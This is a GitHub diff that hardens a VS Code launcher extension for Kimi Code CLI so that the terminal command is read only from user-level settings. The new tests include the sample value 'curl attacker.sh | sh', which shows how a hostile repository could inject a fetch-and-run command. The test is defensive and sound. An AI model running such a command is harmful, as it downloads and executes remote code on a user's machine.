Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file.

The format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## 0.1.2 - 2026-07-25

### Security

- The launch command is now read from user-level settings only. `configuration.get('cliCommand')` also resolves workspace and workspace-folder values, so a cloned repository shipping a `.vscode/settings.json` could choose the command sent to the terminal on the first toolbar click. The extension now inspects the setting and reads `globalValue`/`defaultValue`, matching the hardening the sibling launchers have carried since their first release.

## 0.1.1 - 2026-07-16

### Changed
Expand Down
4 changes: 2 additions & 2 deletions package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion package.json
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
"displayName": "Kimi Code CLI Launcher — Run Kimi in VS Code",
"description": "Launch Kimi Code CLI from the VS Code editor toolbar in one click. Opens a fresh side terminal in your workspace. Unofficial; Windows, macOS and Linux.",
"publisher": "mikesoft",
"version": "0.1.1",
"version": "0.1.2",
"repository": {
"type": "git",
"url": "https://github.com/TheStreamCode/vscode-kimi-code-cli-launcher.git"
Expand Down
16 changes: 16 additions & 0 deletions src/command-utils.ts
Original file line number Diff line number Diff line change
Expand Up @@ -7,12 +7,28 @@ type WorkspaceLike<T> = {
getWorkspaceFolder(uri: T): WorkspaceFolderLike<T> | undefined;
};
type ActiveEditorLike<T> = { document: { uri: T } };
type ConfigurationInspectionLike<T> = {
defaultValue?: T;
globalValue?: T;
};

/** Returns a trimmed CLI command with the default command as fallback. */
export function normalizeCliCommand(value: string | undefined, fallback = FALLBACK_CLI_COMMAND): string {
return (value ?? fallback).trim();
}

/** Resolves launch command from user-level configuration only, ignoring workspace-controlled values. */
export function resolveCliCommandSetting(
inspection: ConfigurationInspectionLike<string> | undefined,
fallback = FALLBACK_CLI_COMMAND,
): string {
const value = inspection?.globalValue !== undefined
? inspection.globalValue
: inspection?.defaultValue ?? fallback;

return normalizeCliCommand(value, fallback);
}

/** Returns a trimmed terminal base name or its fallback. */
export function normalizeTerminalName(value: string | undefined, fallback = FALLBACK_TERMINAL_NAME): string {
return (value ?? fallback).trim() || fallback;
Expand Down
4 changes: 2 additions & 2 deletions src/extension.ts
Original file line number Diff line number Diff line change
Expand Up @@ -4,8 +4,8 @@ import {
FALLBACK_TERMINAL_NAME,
buildExtensionSettingsQuery,
buildTerminalName,
normalizeCliCommand,
normalizeTerminalName,
resolveCliCommandSetting,
resolveTerminalCwd,
} from './command-utils.js';

Expand Down Expand Up @@ -38,7 +38,7 @@ export function activate(context: vscode.ExtensionContext): void {
}

const configuration = vscode.workspace.getConfiguration(SETTINGS_NAMESPACE);
const cliCommand = normalizeCliCommand(configuration.get<string>('cliCommand', FALLBACK_CLI_COMMAND));
const cliCommand = resolveCliCommandSetting(configuration.inspect<string>('cliCommand'), FALLBACK_CLI_COMMAND);
const configuredTerminalName = configuration.get<string>('terminalName', FALLBACK_TERMINAL_NAME);
const terminalBaseName = normalizeTerminalName(configuredTerminalName);
const terminalName = buildTerminalName(configuredTerminalName, terminalSequence);
Expand Down
29 changes: 29 additions & 0 deletions test/command-utils.test.js
Original file line number Diff line number Diff line change
Expand Up @@ -6,9 +6,38 @@ const {
normalizeTerminalName,
buildTerminalName,
buildExtensionSettingsQuery,
resolveCliCommandSetting,
resolveTerminalCwd,
} = require('../out/command-utils.js');

// The resolved command is sent straight to a terminal. `configuration.get()`
// also resolves workspace values, so a cloned repo shipping a .vscode/settings.json
// could pick the command that runs on the first toolbar click. These cover the
// user-level-only contract that keeps that from happening.
test('resolveCliCommandSetting prefers the user-level value', () => {
assert.equal(
resolveCliCommandSetting({ defaultValue: 'kimi', globalValue: 'kimi --verbose' }),
'kimi --verbose',
);
});

test('resolveCliCommandSetting ignores workspace-controlled values', () => {
// A workspaceValue/workspaceFolderValue is never read, so a hostile repo
// cannot substitute the command.
assert.equal(
resolveCliCommandSetting({
defaultValue: 'kimi',
workspaceValue: 'curl attacker.sh | sh',
workspaceFolderValue: 'curl attacker.sh | sh',
}),
'kimi',
);
});

test('resolveCliCommandSetting falls back when inspection is undefined', () => {
assert.equal(resolveCliCommandSetting(undefined), 'kimi');
});

test('normalizeCliCommand trims configured values', () => {
assert.equal(normalizeCliCommand(' kimi --continue '), 'kimi --continue');
});
Expand Down
2 changes: 1 addition & 1 deletion test/metadata.test.js
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,7 @@ test('package metadata exposes the stable launcher interface', () => {
'Launch Kimi Code CLI from the VS Code editor toolbar in one click. Opens a fresh side terminal in your workspace. Unofficial; Windows, macOS and Linux.',
);
assert.equal(packageJson.publisher, 'mikesoft');
assert.equal(packageJson.version, '0.1.1');
assert.equal(packageJson.version, '0.1.2');
assert.equal(JSON.parse(readText('package-lock.json')).version, packageJson.version);
assert.equal(packageJson.icon, 'media/icon.png');
assert.equal(packageJson.engines.vscode, '^1.103.0');
Expand Down
Loading